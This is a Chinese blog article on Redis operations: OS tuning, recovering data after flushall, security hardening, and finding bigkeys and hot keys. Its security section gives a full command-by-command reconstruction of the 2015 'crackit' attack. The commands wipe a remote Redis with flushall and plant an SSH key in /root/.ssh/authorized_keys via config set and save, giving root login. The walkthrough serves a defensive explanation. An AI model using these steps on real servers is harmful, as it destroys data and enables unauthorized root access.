主頁 >  其他 > redis(七)、運維配置注意

redis(七)、運維配置注意

2021-08-12 09:14:45 其他

一、開發運維的陷阱

一、Linux配置優化

一般來說,人們會比較關注redis本身得一些配置優化,例如AOF和RDB得配置優化、資料結構的配置優化,但往往會忽略掉作業系統的配置為redis服務提供更好的運行環境,

1、記憶體分配控制

(1)、vm.overcommit_memory

有時在啟動redis時可能會出現這樣的日志:

# WARNING overcommit_memory is set to 0! Background save may fail under low memory
condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and
then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take eff

首先我們需要明白什么是overcommit?

Linux作業系統對大部分申請記憶體的請求都回復yes,以便能運行更多的程式,因為申請記憶體后,并不會馬上使用記憶體,這種技術叫做overcommit,如果Redis在啟動時有上面的日志,說明vm.overcommit_memory=0,Redis提示把它設定為1,

vm.overcommit_memory用來設定記憶體分配策略,有三個可選值,如下:

上面說的可用記憶體代表物理記憶體+swap(交換區,屬于磁盤范圍)的總和,

日志中的Background save代表的是bgsave和bgrewriteaof,如果當前可用記憶體不足,作業系統應該如何處理fork操作,如果vm.overcommit_memory=0,代表如果沒有可用記憶體,就申請記憶體失敗,對應到Redis就是執行fork失敗,在Redis的日志會出現:

Cannot allocate memory

Redis建議把這個值設定為1,是為了讓fork操作能夠在低記憶體下也執行成功,

想要查看linux中vm.overcommit_memory的值,可以通過以下命令獲取:

# cat /proc/sys/vm/overcommit_memory
0

設定該屬性值:

echo "vm.overcommit_memory=1" >> /etc/sysctl.conf
sysctl vm.overcommit_memory=1

一般生產環境建議將其設定為1,防止極端情況下造成fork操作失敗,(注意,也要合理的設定maxmemory,保證機器有20-30%的閑置記憶體)


(2)、swappiness

swap交換區對于作業系統是比較重要的,當物理記憶體不足時,可以將一部分記憶體頁在交換區進行操作,但是swap物理上是屬于磁盤的,所以對于高并發、高吞吐的應用來說,性能相較于記憶體操作會降低很多,

在linux中,并不是要等到所有物理記憶體都使用完才會使用到swap,系統會根據swappiness決定作業系統使用swap的傾向程度,swappiness的取值范圍0-100,swappiness值越大,作業系統使用swap的概率越高,

該引數的默認值是60,下面是對于常用值進行說明:

OOM(out of memory) killer 機制是指linux作業系統發現可用物理記憶體不足時,則強制殺死一些用戶行程(非內核行程),以此來保證系統有足夠的可用記憶體分配,

(linux3.5如果設定為1則寧愿選擇swap也不會去殺掉一些非內核行程)

臨時設定該引數:(重啟后會失效)

echo {bestvalue} > /proc/sys/vm/swappiness

永久設定:

echo vm.swappiness={bestvalue} >> /etc/sysctl.conf

監控swap:可以使用free命令,查看linux的記憶體使用情況(物理記憶體、swap),例如使用free -m,可以顯示機器有多少物理記憶體、swap,實際使用了多少,

可以看出,這臺機器并沒有給swap分配磁盤空間,所以使用和swap總量都為0,

linux還提供了vmstat命令查詢系統相關性能指標,其中包括負載、cpu、記憶體、swap、io相關屬性,其中關于swap的指標有si和so,分別代表swap in和swap out,下面我們每隔一秒輸出一次vmstat的結果:

此時可以看到si和so都為0,代表當前沒有使用swap,

還有第三種方法可以監控該引數,可以先查看某應用的行程號,然后通過

cat /proc/行程號/smaps 命令查看器smaps資訊(/proc/行程號 目錄下存放著行程相關的資訊,其中smaps則記錄了當前行程對應的記憶體映像資訊),例如以一個redis實體為例:
先通過info server過濾出行程號process_id:

redis-cli -h ip -p port info server | grep process_id
process_id:986

然后通過cat/proc/986/smaps查詢Redis的smaps資訊,由于有多個記憶體塊資訊,這里只輸出一個記憶體塊鏡像資訊進行觀察:

2aab0a400000-2aab35c00000 rw-p 2aab0a400000 00:00 0
Size: 712704 kB
Rss: 617872 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 15476 kB
Private_Dirty: 602396 kB
Swap: 58056 kB
Pss: 617872 kB

其中swap欄位表示該記憶體塊存在swap磁區的資料大小,過執行如下命令,就可以找到每個記憶體塊鏡像資訊中,這個行程使用到的swap量,通過求和就可以算出總的swap用量:

cat /proc/986/smaps | grep Swap
Swap: 0 kB
Swap: 0 kB …
Swap: 0 kB
Swap: 478320 kB …
Swap: 624 kB
Swap: 0 kB

如果記憶體比較大,剩余比較充足,可以適當的調低swappniess的值(例如25以下),這樣可用盡量的使用物理記憶體,使得性能提升,如果記憶體不太足,則可以調高點,這樣可以保證記憶體不足時導致的錯誤,


(3)、THP

redis在啟動時可能會看到下面日志:

WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This
will create latency and memory usage issues with Redis. To fix this issue run
the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root,
and add it to your /etc/rc.local in order to retain the setting after a reboot.
Redis must be restarted after THP is disabled.

日志中,redis建議修改Transparent Huge Pages(THP)的相關配置,THP即將之前記憶體頁從4k支持擴張到2MB,在linux2.6.38版本后默認開啟,但有時候需要操作的記憶體是比較分散的,可能只需要加載20個4k,最后真正被加載的是10個2M,這樣就會大量的浪費記憶體(例如AOF重寫時的copy-on-write時就會出現這種情況),而且,由于每個記憶體頁過大,會拖慢寫操作的執行時間,導致大量寫操作慢查詢,所以一般redis是建議將這個引數禁用,

臨時禁用方法如下:

echo never > /sys/kernel/mm/transparent_hugepage/enabled

永久配置:在/etc/rc.local中追加:
echo never > /sys/kernel/mm/transparent_hugepage/enabled

注意:

在設定THP配置時需要注意:有些Linux的發行版本沒有將THP放到/sys/kernel/mm/transparent_hugepage/enabled中,例如Red Hat6以上的THP配置放到/sys/kernel/mm/redhat_transparent_hugepage/enabled中,而Redis原始碼中檢查THP時,把THP位置寫死,

FILE *fp = fopen("/sys/kernel/mm/transparent_hugepage/enabled","r");
if (!fp) return 0;

所以在發行版中,雖然沒有THP的日志提示,但是依然存在THP所帶來的問題:

echo never > /sys/kernel/mm/redhat_transparent_hugepage/enabled


(4)、OOM killer

該配置會在可用記憶體不足時選擇性地殺掉用戶行程,那會選擇哪些行程下手?
OOM killer行程會給每個用戶行程設定一個權重,這個權重越高,被處理地幾率越高,每個行程地權重值放在 /proc/行程號/oom_score 中,這個權重值受拎一個引數控制(/proc/行程號/omm_adj),oom_adj在不同地linux版本中最小值不同,當oom_adj設定為最小值時,該行程不會被OOM killer殺掉,

可以給這個adj設定值:

echo {value} > /proc/${process_id}/oom_adj

一般對于redis所在的服務器上,可以reids用例行程的oom_adj設定為最低或者小點的值,降低被OOM killer殺掉的概率,

腳本:

for redis_pid in $(pgrep -f "redis-server")
do
echo -17 > /proc/${redis_pid}/oom_adj
done

但是,omm_adj引數只是起到輔助作用,合理的規劃記憶體才是真正的解決問題,在高可用的情況下,行程被殺掉比僵死更好,因此不要太依賴于oom_adj(可以不用管他,讓作業系統自己設定)


(5)、NTP

NTP(Network Time Protocol,網路時間協議)是一種保證不同機器時鐘一致性的服務,

redis集群中,多個節點一般會涉及多臺服務器,雖然Redis并沒有對多個服務器的時鐘有嚴格要求,但是假如多個Redis實體所在的服務器時鐘不一致,對于一些例外情況的日志排查是非常困難的,例如Redis Cluster的故障轉移,如果日志時間不一致,對于我們排查問題帶來很大的困擾(注:但不會影響集群功能,集群節點依賴各自時鐘),一般公司里都會有NTP服務用來提供標準時間服務,從而達到糾正時鐘的效果(如下圖所示),為此我們可以每天定時去同步一次系統時間,從而使得集群中的時間保持統一,

例如每小時同步一次NTP服務:

0 * * * * /usr/sbin/ntpdate ntp.xx.com > /dev/null 2>&1

關于搭建NTP服務:https://www.cnblogs.com/quchunhui/p/7658853.html


(6)、ulimit

在Linux中,可以通過ulimit查看和設定系統當前用戶行程的資源數,其中ulimit-a命令包含的open files引數,是單個用戶同時打開的最大檔案個數:

# ulimit – a …
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8 …


Redis允許同時有多個客戶端通過網路進行連接,可以通過配置maxclients來限制最大客戶端連接數,對Linux作業系統來說,這些網路連接都是檔案句柄,假設當前open files是4096,那么啟動Redis時會看到如下日志:

# You requested maxclients of 10000 requiring at least 10032 max file descriptors.
# Redis can ’ t set maximum open files to 10032 because of OS error: Operation not permitted.
# Current maximum open files is 4096. Maxclients has been reduced to 4064 to compensate
for low ulimit. If you need higher maxclients increase ‘ ulimit – n ’ .

日志解釋如下:
·第一行:Redis建議把open files至少設定成10032,那么這個10032是如何來的呢?因為maxclients默認是10000,這些是用來處理客戶端連接的,除此之外,Redis內部會使用最多32個檔案描述符,所以這里的10032=10000+32,
·第二行:Redis不能將open files設定成10032,因為它沒有權限設定,
·第三行:當前系統的open files是4096,所以將maxclients設定成4096-32=4064個,如果你想設定更高的maxclients,請使用ulimit-n來設定,從上面的三行日志分析可以看出open files的限制優先級比maxclients大,
Open files的設定方法如下:

ulimit – Sn {max-open-files}

(7)、TCP backlog

Redis默認的tcp-backlog值為511,可以通過修改配置tcp-backlog進行調整,如果Linux的tcp-backlog小于Redis設定的tcp-backlog,那么在Redis啟動時會看到如下日志:

# WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/
net/core/somaxconn is set to the lower value of 128.

查看方法:

# cat /proc/sys/net/core/somaxconn
128

修改方法:

echo 511 > /proc/sys/net/core/somaxconn

二、flushall/flushdb誤操作

redis中的flushall/flushdb 命令可以做資料清除,但如果資料清除誤操作,破壞性是很明顯的,那么怎么才能快速的恢復資料?
加入進行flush操作的是redis主從結構的主節點,其中鍵值對的個數是100萬,每秒的寫入量是1000,

1、快取和存盤

當redis誤操作后,根據當前redis是快取還是存盤可以使用不同的策略
快取:對于業務資料的正確性可能造成損失還小一點,因為快取中的資料可以從資料源重新進行構建,但是在介紹了快取雪崩和快取穿透的相關知識,當前場景也有類似的地方,如果業務方并發量很大,可能會對后端資料源造成一定的負載壓力,這個問題也是不容忽視,
存盤:對業務方可能會造成巨大的影響,也許flush操作后的資料是重要配置,也可能是一些基礎資料,也可能是業務上的重要一環,如果沒有提前做業務降級操作,那么最終反饋到用戶的應用可能就是報錯或者空白頁面等,其后果不堪設想,即使做了相應的降級或者容錯處理,對于用戶體驗也有一定的影響,

所以Redis無論作為快取還是作為存盤,如何能在flush操作后快速恢復資料才是至關重要的,持久化檔案肯定是恢復資料的媒介,

2、借助AOF機制恢復

redis執行flush操作后,aof持久化檔案會有什么影響?
當組態檔沒有開啟aof時(appendonly no),此時根本就沒有檔案則不會影響,當組態檔開啟了,此時就會往aof檔案中追加一條flush操作記錄:

*1
$8
flushall

雖然此時redis中的資料被清除掉了,但是AOF檔案中還保存著flush操作之前的資料操作,但是需要注意下面的問題:(禁用重寫+去掉flush操作)
1)、如果發生了AOF重寫,Redis遍歷所有資料庫重新生成AOF檔案,并會覆寫之前的AOF檔案,所以如果AOF重寫發生了,也就意味著之前的資料就丟掉了,那么利用AOF檔案來恢復的辦法就失效了,所以當誤操作后,需要考慮如下兩件事,
1-1)、調大AOF重寫引數auto-aof-rewrite-percentage和auto-aof-rewrite-min-size,讓Redis不能產生AOF自動重寫,
1-2)、拒絕手動bgrewriteaof,

2)、如果要用AOF檔案進行資料恢復,那么必須要將AOF檔案中的flushall相關操作去掉,為了更加安全,可以在去掉之后使用redis-check-aof這個工具去檢驗和修復一下AOF檔案,確保AOF檔案格式正確,保證資料恢復正常,

3、RDB檔案有什么影響?

如果組態檔沒有開啟RDB的自動策略,也就是沒在組態檔中沒有類似下面的配置:

save 900 1
save 300 10
save 60 10000

那么除非手動執行過save、bgsave或者發生了主從的全量復制,否則RDB檔案也會保存flush操作之前的資料,可以作為恢復資料的資料源(save、bgsave或者發生了主從的全量復制操作可能會生成新的RDB檔案覆寫舊檔案),注意問題如下:
1)、防止手動執行save、bgsave,如果此時執行save、bgsave,新的RDB檔案就不會包含flush操作之前的資料,被老的RDB檔案進行覆寫,
2)、RDB檔案中的資料可能沒有AOF實時性高,也就是說,RDB檔案很可能很久以前主從全量復制生成的,或者之前用save、bgsave備份的,

如果開啟了RDB的自動策略,由于flush涉及鍵值數量較多,RDB檔案會被清除,意味著使用RDB恢復基本無望,(flush后無法使用RDB進行資料恢復)


4、從節點的影響

Redis從節點同步了主節點的flush命令,所以從節點的資料也是被清除了,從節點的RDB和AOF的變化與主節點都是一樣的,


5、快速恢復資料

下面使用AOF作為資料源進行恢復演練,
1)防止AOF重寫,快速修改Redis主從的auto-aof-rewrite-percentage和auto-aof-rewrite-min-size變為一個很大的值,從而防止了AOF重寫的發生,
例如:

config set auto-aof-rewrite-percentage 1000
config set auto-aof-rewrite-min-size 100000000000

2)去掉主從AOF檔案中的flush相關內容:

*1
$8
flushall

3)重啟Redis主節點服務器,恢復資料,

這里建議運維人員提前準備shell腳本或者其他自動化的方式處理,因為故障不等人,對于flush這樣的危險操作,應該通過有效的方式進行規避,

三、安全的redis

2015年11月,全球數萬個Redis節點遭受到了攻擊,所有資料都被清除了,只有一個叫crackit的鍵存在,這個鍵的值很像一個公鑰,如下所示,

127.0.0.1:6379> get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9p
HPSqW+n8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlq
PgzrzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF
0JLTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGD
l1kTNAzdj+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q
== root@zw_xx_192\n\n\n\n"

資料丟失對于很多Redis的開發者來說是致命的,經過相關機構的調查發現,被攻擊的Redis有如下特點:

  • ·Redis所在的機器有外網IP,
  • ·Redis以默認埠6379為啟動埠,并且是對外網開放的,
  • ·Redis是以root用戶啟動的,
  • ·Redis沒有設定密碼,
  • ·Redis的bind設定為0.0.0.0或者"",

攻擊者充分利用Redis的dir和dbfilename兩個配置可以使用config set動態設定,以及RDB持久化的特性,將自己的公鑰寫入到目標機器的/root/.ssh/authotrized_keys檔案中,從而實作了對目標機器的攻陷,攻擊程序如圖所示,

1)首先確認當前(攻擊前)機器A不能通過SSH訪問機器B,因為沒有權限:

#ssh root@123.16.xx.182
root@123.16.xx.182's password:

2)由于機器B的外網對外開通了Redis的6379埠,所以可以直接連接到Redis上執行flushall操作,注意此時破壞性就已經很大了,如下所示:

#redis-cli -h 123.16.xx.182 -p 6379 ping
PONG
#redis-cli -h 123.16.xx.182 -p 6379 flushall
OK

3)在機器A生成公鑰,并將公鑰保存到一個檔案my.pub中:

# cd /root
# ssh-keygen -t rsa
# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > my.pub
# cat my.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqW+n
8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzY
flP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0JLTU
5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1kTNAzdj
+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root@zw_xx_192

4)將鍵crackit的值設定為公鑰,

cat my.pub | redis-cli -h 123.16.xx.182 -p 6379 -x set crackit
OK
redis-cli -h 123.16.xx.182 -p 6379 get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHP
SqW+n8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgz
rzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0J
LTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1
kTNAzdj+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q
== root@zw_94_190\n\n\n\n"

5)將Redis的dir設定為/root/.ssh目錄,dbfilename設定為authorized_keys,執行save命令生成RDB檔案,如下所示:

123.16.xx.182:6379> config set dir /root/.ssh
OK
123.16.xx.182:6379> config set dbfilename authorized_keys
OK
123.16.xx.182:6379> save
OK

此時機器B的/root/.ssh/authorized_keys包含了攻擊者的公鑰,之后攻擊者就可以“為所欲為”了,
6)此時機器A再通過SSH協議訪問機器B,發現可以順利登錄:

[@zw_94_190 ~]# ssh root@123.16.xx.182
Last login: Mon Sep 19 08:42:55 2016 from 10.10.xx.192

登錄后可以觀察/root/.ssh/authorized_keys,可以發現它就是RDB檔案:

#cat /root/.ssh/authorized_keys
REDIS0006tcrackitA
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqW+n
8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzY
flP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0JLTU5
fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1kTNA
zdj+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root
@zw_xx_192

誰也不想自己的Redis以及機器就這樣被攻擊吧?本節我們來將介紹如何讓Redis足夠安全,

Redis的設計目標是一個在內網運行的輕量級高性能鍵值服務,因為是在內網運行,所以對于安全方面沒有做太多的作業,Redis只提供了簡單的密碼機制,并且沒有做用戶權限的相關劃分,那么,在日常對于Redis的開發和運維中要注意哪些方面才能讓Redis服務不僅能提供高效穩定的服務,還能保證在一個足夠安全的網路環境下運行呢?

1、redis密碼機制

臨時配置密碼(重啟后失效)(命令設定)和永久生效(組態檔配置)

https://www.cnblogs.com/x-ll123/p/9717351.html

注意:如果是主從結構的redis,不要忘記在從節點的配置中加入masterauth(master密碼)的配置,否則會造成主從節點同步失效,

auth是通過明文進行傳輸的,所以也不是100%可靠,如果被攻擊者劫持也相當危險,

2、偽裝危險命令

在redis中有很多危險的命令,一旦錯誤使用或者誤操作,后果不堪設想,例如:
keys——如果鍵較多,存在阻塞redis的可能性

flushall/flushdb——清除全部資料

save——如果鍵比較多,存在阻塞redis的可能性

debug——例如debug reload會重啟redis

config——config這些配置引數命令應該交給管理員使用(所以啟動用戶盡量不要用root)

shutdown——停止redis,

理論上這些命令不應該開發給普通人員使用,那么此時有什么方法可以防止這些危險的命令被隨意執行?

redis中提供了rename-command配置解決這些問題,下面使用一個例子說明rename-command的作用,例如現在要將flushall重命名為某個字串,這樣別人不知道這個字串就使用不了了,

在redis的組態檔中加入如下配置:(“”表示禁用)

rename-command flushall jlikfjalijl3i4jl3jql34j

這樣在執行flushall命令:

127.0.0.1:6379> flushall
(error) ERR unknown command ‘ flushall ’

如果執行那個字串則可以:

127.0.0.1:6379> jlikfjalijl3i4jl3jql34j
OK

rename-command雖然可以對redis的安全提供一定的幫助,但它也會帶來一些麻煩:

  • 如果真的需要用到這些命令時,要自行去修改客戶端的代碼和配置的字串名稱一致,
  • rename-command不支持動態命令設定(config set),在啟動前要在組態檔中配好,
  • 如果舊的AOF、RDB包含了rename-command之前的命令,redis會無法啟動(識別不了rename-command之前的命令)
  • redis原始碼中可能有一些命令是寫死的,rename-command可能導致redis無法正常作業,例如Sentinel節點在修改配置時直接使用了config命令,如果對config使用rename-command,會造成Redis Sentinel無法正常作業,

一般建議對于一些危險命令不管內外網都使用rename-command,如果是主從關系,注意要保存主從節點的配置引數的一致性,否則會出現資料不一致的情況,

3、防火墻

可以使用防火墻限制輸入和輸出的IP或者IP范圍、埠或者埠范圍,在比較成熟的公司都會對有外網IP的服務器做一些埠的限制,例如只允許80埠對外開放,因為一般來說,開放外網IP的服務器中Web服務器比較多,但通常存盤服務器的埠無需對外開放,防火墻是一個限制外網訪問Redis的必殺技,

4、bind

很多開發者一開始對于bind的配置認為是指定redis只接收某個網段ip的客戶端請求,但事實上bind指定的是redis和哪個網卡進行系結,例如我們使用ifconfig獲取當前網卡資訊:

eth0 Link encap:Ethernet Hwaddr 90:B1:1C:0B:18:02
inet addr:10.10.xx.192 Bcast:10.10.xx.255 Mask:255.255.255.0
…
eth1 Link encap:Ethernet Hwaddr 90:B1:1C:0B:18:03
inet addr:220.181.xx.123 Bcast:220.181.xx.255 Mask:255.255.255.0
…
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

其中依次有三個ip地址:

  • 內網地址:10.10.xx.192
  • 外網地址:220.181.xx.123
  • 回環地址:127.0.0.1

當redis配置了bind 10.10.xx.192,那么要連接redis只能通過10.10.xx.192這塊網卡進入,此時通過redis-cli –h 220.181.xx.123 –p 6379和本機redis-cli –h 127.0.0.1 –p 6379都無法連接到Redis,此時會收到以下提示:

# redis-cli – h 220.181.xx.123 – p 6379
Could not connect to Redis at 220.181.xx.123:6379: Connection refused

此時只能通過10.10.xx.192進行連接:

# redis-cli – h 10.10.xx.192
10.10.xx.192:6379> ping
PONG

bind引數可以設定多個,例如下面的配置表示當前Redis只接受來自10.10.xx.192和127.0.0.1的網路流量:

bind 10.10.xx.192 127.0.0.1

redis3.2中配置 bind 0.0.0.0 可以不限制網卡的訪問,即所有網卡都可以訪問,

一般生產中的建議:

  • 如果有外網ip,但部署的redis是給內部使用的,此時可以去掉外網網卡或者使用bind配置限制外網的流量,
  • 如果客戶端和redis都部署在同一臺服務器上,可以使用回環地址(127.0.0.1),
  • bind配置不支持config set(動態配置),所以要事先配置好,
  • redis3.2提供了protected-mode配置(默認開啟),該配置的含義是如果當前Redis沒有配置密碼,沒有配置bind,那么只允許來自本機的訪問,也就是相當于配置了bind127.0.0.1,

5、定時備份資料

6、不使用默認埠

Redis的默認埠是6379,不使用默認埠從一定程度上可降低被入侵者發現的可能性,因為入侵者通常本身也是一些攻擊程式,對目標服務器進行埠掃描,例如MySQL的默認埠3306、Memcache的默認埠11211、Jetty的默認埠8080等都會被設定成攻擊目標,Redis作為一款較為知名的NoSQL服務,6379必然也在埠掃描的串列中,雖然不設定默認埠還是有可能被攻擊者入侵,但是能夠在一定程度上降低被攻擊的概率,

7、使用非root用戶啟動

root用戶作為管理員,權限非常大,如果被入侵者獲取root權限后,就可以在這臺機器以及相關機器上“為所欲為”了,筆者建議在啟動Redis服務的時候使用非root用戶啟動,事實上許多服務,例如Resin、Jetty、HBase、Hadoop都建議使用非root啟動,

四、處理bigkey(大物件)

bigkey指的是key對應的value所占的記憶體空間較大,

一個字串型別的value可以存到512MB,一個list型別可以有2^32 -1 個元素,所以我們可以按資料結構的分為字串型bigkey和非字串型bigkey,

字串型別bigkey:一般可以認為value超過10kb就是bigkey,但這個值會和具體QPS相關,

非字串型別:哈希、串列、集合、有序集合,體現在元素個數過多,

1、bigkey的危害

主要體現在三個方面:

  • 記憶體空間不均勻(平衡):例如在Redis Cluster中,bigkey會造成節點的記憶體空間使用不均勻,
  • ·超時阻塞:由于Redis單執行緒的特性,操作bigkey比較耗時,也就意味著阻塞Redis可能性增大,
  • ·網路擁塞:每次獲取bigkey產生的網路流量較大,假設一個bigkey為1MB,每秒訪問量為1000,那么每秒產生1000MB的流量,對于普通的千兆網卡(按照位元組算是128MB/s)的服務器來說簡直是滅頂之災,而且一般服務器會采用單機多實體的方式來部署,也就是說一個bigkey可能會對其他實體造成影響,其后果不堪設想,圖12-3演示了網路帶寬被bigkey占用的瞬間,

2、發現bigkey

可以使用 redis-cli --bigkeys來查看bigkey的分布統計資訊,但在生產環境,我們一般希望能夠自己定義bigkey的大小,需要找到bigkey在哪里?這樣才能快速的去定位、解決、優化問題,

判斷某個key是否是bigkey,只需要執行debug object key,然后查看serializedlength,這個指標對應value序列化后的位元組數:

127.0.0.1:6379> debug object key
Value at:0x7fc06c1b1430 refcount:1 encoding:raw serializedlength:1256350 lru:11686193
lru_seconds_idle:20

此時serializedlength約為1M,然后可以看到encoding是raw(字串型別的內部編碼),注意這個serializedlength不代表真實位元組大小,它回傳物件使用RDB編碼序列化后的長度,值會偏小,但是對于排查bigkey有一定輔助作用,

如果查看這個字串的真實字串長度,可以使用strlen key命令:(此時真實大小2M左右)

127.0.0.1:6379> strlen key
(integer) 2247394

在生產環境中發現bigkey有兩種方式:
1)、被動收集

許多開發人員確實可能對bigkey不了解或重視程度不夠,但是這種bigkey一旦大量訪問,很可能就會帶來命令慢查詢和網卡跑滿問題,開發人員通過對例外的分析通常能找到例外原因可能是bigkey,這種方式雖然不是被筆者推薦的,但是在實際生產環境中卻大量存在,建議修改Redis客戶端,當拋出例外時列印出所操作的key,方便排查bigkey問題,

2)、主動檢測

scan+debug object:如果懷疑存在bigkey,可以使用scan命令漸進的掃描出所有的key,分別計算每個key的serializedlength,找到對應bigkey進行相應的處理和報警,這種方式是比較推薦的方式,

注意:

  • 如果鍵值個數比較多,scan+debug object會比較慢,可以利用Pipeline機制完成,
  • 對于元素個數較多的資料結構,debug object執行速度比較慢,存在阻塞Redis的可能,
  • 如果有從節點,可以考慮在從節點上執行,

3、優雅洗掉bigkey(4.0之前的版本需要注意,4.0之后版本不需要關注)

無論什么資料型別,都可以用del命令將其洗掉,但是洗掉bigkey通常會阻塞redis服務,

下面對于五種資料型別的bigkey進行洗掉,其中bigkey的元素個數和每個元素的大小不盡相同,

1)、洗掉512kb-10mb的字串型別所花費實際,(整體花費時間還是比較低的)

2)、其他四種

從上分析可見,除了string型別,其他四種資料結構洗掉的速度有可能很慢,這樣增大了阻塞Redis的可能性,既然不能用del命令,那有沒有比較優雅的方式進行洗掉呢?
這個時候就需要scan類似的命令:sscan、hscan、zscan,

對于非string型別的洗掉,例如hash,可以先用hscan命令,每次獲取部分(例如100個)元素,然后利用hdel洗掉,這樣分段洗掉就不會出現阻塞時間過長,(為了快速可以使用Pipline),實作代碼:

在生產中如果發現bigkey,要思考一下可不可以做一些優化(例如拆分資料結構)盡量讓這些bigkey消失在業務中,如果bigkey不可避免,也要思考一下要不要每次把所有元素都取出來(例如有時候僅僅需要hmget,而不是hgetall),

最后redis4.0之后是支持lazy delete free的模式(異步延遲洗掉、懶洗掉),則洗掉bigkey不會阻塞Redis,https://www.jb51.net/article/163919.htm

五、尋找熱點key

對于某些頻繁訪問的key,當并發高時,對于redis來說是個巨大的挑戰,以redis cluster為例,它會造成個別節點的OPS過大的情況,極端情況下可能會超過redis本身能承受的ops,因此尋找熱點key對于開發和運維人員非常重要,下面從四個方面來分析熱點key,

1、客戶端(統計單個客戶端)

可以使用全域字典(key和呼叫次數),每次呼叫某個key時自增呼叫次數,

但這樣需要去修改客戶端代碼或者業務代碼,例如在jedis客戶端代碼的Connection類中的sendCommand方法,這個方法是發送命令都需要經過的方法,此時可以在方法中進行計數:

public Connection sendCommand(final ProtocolCommand cmd, final byte[]... args) {
// 從引數中獲取 key
String key = analysis(args);
// 計數
 counterKey(key);
...
}

再使用Guava的原子類進行遞增:

// 使用 Guava 的 AtomicLongMap, 記錄 key 的呼叫次數
public static final AtomicLongMap<String> ATOMIC_LONG_MAP = AtomicLongMap.create();
String get(String key) {
    counterKey(key);
    ...
}
String set(String key, String value) {
    counterKey(key);
    ...
}
void counterKey(String key) {
    ATOMIC_LONG_MAP.incrementAndGet(key);
}

為了防止ATOMIC_LONG_MAP 過大,可以定時清除資料,

但是這種方案存在較多問題:

  • 無法預知key的個數,存在記憶體泄露的危險,
  • 對于客戶端代碼有侵入,各個語言的客戶端都需要維護此邏輯,維護成本較高,
  • 只能了解當前客戶端的熱點key,無法實作規模化運維統計,

當然除了使用本地字典計數外,還可以使用其他存盤來完成異步計數,從而解決本地記憶體泄露問題,但是另兩個問題還是不好解決,(而且這樣只能統計單個客戶端的)

2、代理端(統計所有客戶端節點)

例如Twemproxy、Codis這些基于代理的Redis分布式架構,所有客戶端的請求都是通過代理端完成的,如圖所示,此架構是最適合做熱點key統計的,因為代理是所有Redis客戶端和服務端的橋梁,但并不是所有Redis都是采用此種架構,

3、 redis服務端(統計單服務端節點)

可以使用monitor命令統計熱點key,使用monitor會監控到獲得下面的資訊:

1477638175.920489 [0 10.16.xx.183:54465] "GET" "tab:relate:kp:162818"
1477638175.925794 [0 10.10.xx.14:35334] "HGETALL" "rf:v1:84083217_83727736"
1477638175.938106 [0 10.16.xx.180:60413] "GET" "tab:relate:kp:900"
1477638175.939651 [0 10.16.xx.183:54320] "GET" "tab:relate:kp:15907"
...
1477638175.962519 [0 10.10.xx.14:35334] "GET" "tab:relate:kp:3079"
1477638175.963216 [0 10.10.xx.14:35334] "GET" "tab:relate:kp:3079"
1477638175.964395 [0 10.10.xx.204:57395] "HGETALL" "rf:v1:80547158_83076533"

Facebook開源的redis-faina 正是利用上述原理

但是這種方式存在一定問題:

  • 多次強調monitor命令在高并發條件下,會存在記憶體暴增和影響Redis性能的隱患,所以此種方法適合在短時間內使用,
  • ·只能統計一個Redis節點的熱點key,對于Redis集群需要進行匯總統計,

4、抓包日志收集

